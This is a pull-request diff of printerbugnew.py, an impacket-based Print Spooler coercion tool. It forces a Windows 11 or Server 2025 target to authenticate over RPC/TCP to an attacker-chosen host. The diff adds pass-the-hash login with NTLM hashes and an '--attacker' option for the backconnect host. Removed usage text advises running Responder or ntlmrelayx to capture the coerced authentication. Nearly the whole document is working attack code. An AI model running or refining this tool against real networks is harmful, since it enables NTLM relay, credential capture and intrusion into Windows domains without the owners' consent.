Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
79 changes: 44 additions & 35 deletions printerbugnew.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,20 +9,23 @@
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_CONNECT
from impacket.dcerpc.v5.dtypes import NULL
import argparse
import logging
import sys

# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

class RpcTcpPrinterTrigger:
def __init__(self, target_host, username='', password='', domain='', remote_host=None, tcp_port=None):
def __init__(self, target_host, username='', password='', domain='', remote_host=None, tcp_port=None, lmhash='', nthash=''):
self.target_host = target_host
self.username = username
self.password = password
self.domain = domain
self.remote_host = remote_host if remote_host else target_host
self.tcp_port = tcp_port # Optional specific port, otherwise dynamic
self.lmhash = lmhash
self.nthash = nthash

def trigger_rpc_backconnect(self):
"""
Expand All @@ -45,17 +48,17 @@ def trigger_rpc_backconnect(self):
rpctransport = transport.DCERPCTransportFactory(stringbinding)

# Set credentials if provided
if self.username and self.password:
rpctransport.set_credentials(self.username, self.password, self.domain)
if self.username:
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
logging.info(f'Using credentials: {self.domain}\\{self.username}')
else:
logging.info('Using anonymous/null session')

# Get DCE/RPC connection
dce = rpctransport.get_dce_rpc()

# Set authentication level on the DCE connection
if self.username and self.password:
if self.username:
dce.set_auth_level(RPC_C_AUTHN_LEVEL_CONNECT)
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

Expand Down Expand Up @@ -139,47 +142,54 @@ def print_banner():


def main():
if len(sys.argv) < 2:
print_banner()
print(f"\nUsage: {sys.argv[0]} <target_host> [username] [password] [domain] [attacker_host] [tcp_port]")
print("\nExamples:")
print(f" # Anonymous connection")
print(f" {sys.argv[0]} 192.168.1.100")
print(f"\n # With credentials")
print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN")
print(f"\n # Trigger backconnect to different host (attacker)")
print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN 192.168.1.50")
print(f"\n # Use specific RPC port")
print(f" {sys.argv[0]} 192.168.1.100 admin Password123 DOMAIN 192.168.1.50 49152")
print("\nNotes:")
print(" - Target must be Windows 11 22H2+ or Server 2025 (RPC over TCP default)")
print(" - For older versions, spoolss uses RPC over Named Pipes (SMB)")
print(" - Ensure ports 135 and dynamic RPC ports (49152-65535) are open")
print(" - Start Responder or ntlmrelayx on remote_host to capture auth")
sys.exit(1)

target_host = sys.argv[1]
username = sys.argv[2] if len(sys.argv) > 2 else ''
password = sys.argv[3] if len(sys.argv) > 3 else ''
domain = sys.argv[4] if len(sys.argv) > 4 else ''
remote_host = sys.argv[5] if len(sys.argv) > 5 else None
tcp_port = int(sys.argv[6]) if len(sys.argv) > 6 else None

print_banner()

parser = argparse.ArgumentParser(
description='Pure RPC over TCP Printer Spooler Trigger (Windows 11 22H2+ / Server 2025)'
)
parser.add_argument('target', help='Target host (IP or hostname)')
parser.add_argument('-u', '--username', default='', help='Username')
parser.add_argument('-p', '--password', default='', help='Plaintext password')
parser.add_argument('-d', '--domain', default='', help='Domain')
parser.add_argument('--hashes', default='', metavar='LMHASH:NTHASH',
help='NTLM hashes for pass-the-hash (format: LMhash:NThash or :NThash)')
parser.add_argument('-a', '--attacker', default=None, dest='remote_host',
help='Attacker host to receive the backconnect (default: target)')
parser.add_argument('--port', type=int, default=None, dest='tcp_port',
help='Specific RPC TCP port (default: dynamic via endpoint mapper)')
args = parser.parse_args()

lmhash = ''
nthash = ''
if args.hashes:
parts = args.hashes.split(':', 1)
if len(parts) != 2:
parser.error('--hashes must be in LMHASH:NTHASH format (use empty string for LM, e.g. :NTHASH)')
lmhash, nthash = parts

target_host = args.target
username = args.username
password = args.password
domain = args.domain
remote_host = args.remote_host
tcp_port = args.tcp_port

print(f"Target Host: {target_host}")
print(f"Attacker Host: {remote_host if remote_host else target_host}")
print(f"Credentials: {domain}\\{username}" if username else "Credentials: Anonymous")
print(f"TCP Port: {tcp_port if tcp_port else 'Dynamic (via endpoint mapper)'}")
print("=" * 70)
print()

trigger = RpcTcpPrinterTrigger(
target_host=target_host,
username=username,
password=password,
domain=domain,
remote_host=remote_host,
tcp_port=tcp_port
tcp_port=tcp_port,
lmhash=lmhash,
nthash=nthash,
)

success = trigger.trigger_rpc_backconnect()
Expand All @@ -200,4 +210,3 @@ def main():

if __name__ == '__main__':
main()